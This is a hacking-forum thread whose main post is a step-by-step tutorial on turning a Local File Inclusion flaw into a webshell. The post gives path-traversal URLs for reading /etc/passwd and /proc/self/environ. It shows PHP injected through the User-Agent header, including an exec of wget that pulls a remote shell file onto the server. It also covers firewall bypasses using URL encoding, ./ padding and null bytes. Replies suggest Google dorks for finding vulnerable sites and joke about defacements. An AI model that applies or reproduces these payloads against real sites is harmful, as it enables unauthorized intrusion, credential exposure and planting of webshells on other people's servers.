[Zayne]

Local File Inclusion

Note: This tutorial is not new, just an update of my old one.
This will probably be a really boring read as it's as basic as it can be.
So listen to something while reading.


Requirements

- Vuln site
- Tamper data Download link.
- HackBar Download link

---

etc/passwd is actually a text document database which contains information about users who might have logged into the system.

So first of all we're going to find that text-file and hopefully you got permissions to view it.

So in order to perform the attack add "Etc/passwd" to the end of the Equals sign, like this.

PHP Code:

www.site.com/index.php?filename=2

Remove the digit "2" and replace it with Etc/passwd".

PHP Code:

www.site.com/index.php?filename=Etc/passwd

---

If it works, you will get something along these lines:

That is the "etc/passwd" text document we talked about earlier in this tutorial. If it didn't work you may need to find the directory. Like this, you need to move up a few directories.

PHP Code:

www.site.com/index.php?filename=../../Etc/passwd

PHP Code:

www.site.com/index.php?filename=../../../Etc/passwd

PHP Code:

www.site.com/index.php?filename=../../../../../../../../Etc/passwd

Well.. you get it. Note that you wont always have permissions to view etc/passwd.

---

Let's move on to the shelling part and
Let's say you found the etc/passwd. Now you need to change the etc/passwd to /proc/self/environ

So if you found etc/passwd in this folder -

PHP Code:

www.site.com/index.php?filename=../../../../../../../../Etc/passwd

Change the etc/passwd text to /proc/self/environ, like this.

PHP Code:

www.site.com/index.php?filename=../../../../../../../../proc/self/environ

If you success accessing it, the page will somehow print out some text on the page. You will know when you find it, trust me.

Now let's open up Tamper Data, if you don't know to reach Tamper-data, press "f10" and select tools -> Tamper-data.

Now start tampering and only refresh the page you're trying to hack. You can do so by pressing "f5".

A tamper request will show up and ask you if you want to -Tamper- -Submit- or -Abort Request-
Press "Tamper" and the addon will start tampering the site.
And a box will show up, similar to this one.

Remove all the text in the User-agent field and put on this php code.

PHP Code:

<?php phpinfo();?>

The site you're trying to hack will now appear as "phpinfo()" and you may get some useful info from there. However it will look like this.

Now fire up Tamper-data and start tampering again. In the user-agent field remove every single character in that box and
add this instead.

PHP Code:

<?exec('wget http://www.site.com/shell.txt -O shell.php');?>

Note: If WGET doesn't work try using curl or other alternatives. If everything went smooth you would now be able to access your shell @ the folder you uploaded it in.

---

WEBSITE APPLICATION FIREWALL BYPASS

---

Instead of using /etc/passwd
you would change every '/' to'%2f' without quotes.
(/=%2f) That's a pretty easy form to remember, keep that in mind.

So the new will be:

PHP Code:

%2fetc%2fpasswd

That is called url encoding.

---

To bypass the character limit, you could just put in a few more ./././ after the vector and the output would look like this:

PHP Code:

/../etc/passwd/./././././././././././././././././././././././././././././

It totally depends on the limit.

---

The infamous null bytes method is probably the easiest of them all.
Simply add this to the end of the url.

PHP Code:

%00

Final result =

PHP Code:

/etc/passwd%00

This was an update of my old shitty tutorial "LFI TO SHELL".
It is really basic LFI and is not very common.
I beet that I got some errors in my grammar here and there.

[Nil]

Another good read. Yes, you have some grammar errors here and there but I don't mind it. As long as I can understand you, it's good.

[Connor]

Great tutorial, read through quite easy to understand. I was actually following along, Good Job!

[Alan Turing]

Look at you go Zayne. Nice tutorial!

[Eclipse]

To find a vulnerable site, you could use a google dork. Nice tutorial anyway. It was a good read.

[Alan Turing]

To find a vulnerable site, you could use a google dork. Nice tutorial anyway. It was a good read.

Realistically most if not all google dorks are usually sites that no one knows about nor cares about, in my opinion.

But fun for practice

[Satan]

Realistically most if not all google dorks are usually sites that no one knows about nor cares about, in my opinion.

But fun for practice

Very fun for practice, & if you can't find a site without dorking, you probably could use it.

[Cressi]

Nice tutorial, might just try this out one day.

[Alan Turing]

Very fun for practice, & if you can't find a site without dorking, you probably could use it.

If you actually understand LFI, and managed to successfully do it, then that's awesome.

But I mean, if you deface a page called http://www.dneewenfiewnfiwnfwienfpenispe...llpass.org and brag about it then...

[Zayne]

If you actually understand LFI, and managed to successfully do it, then that's awesome.

But I mean, if you deface a page called http://www.dneewenfiewnfiwnfwienfpenispe...llpass.org and brag about it then...

It's more 'bout luck. LFI is not coomonly found anymore and especially not with this method.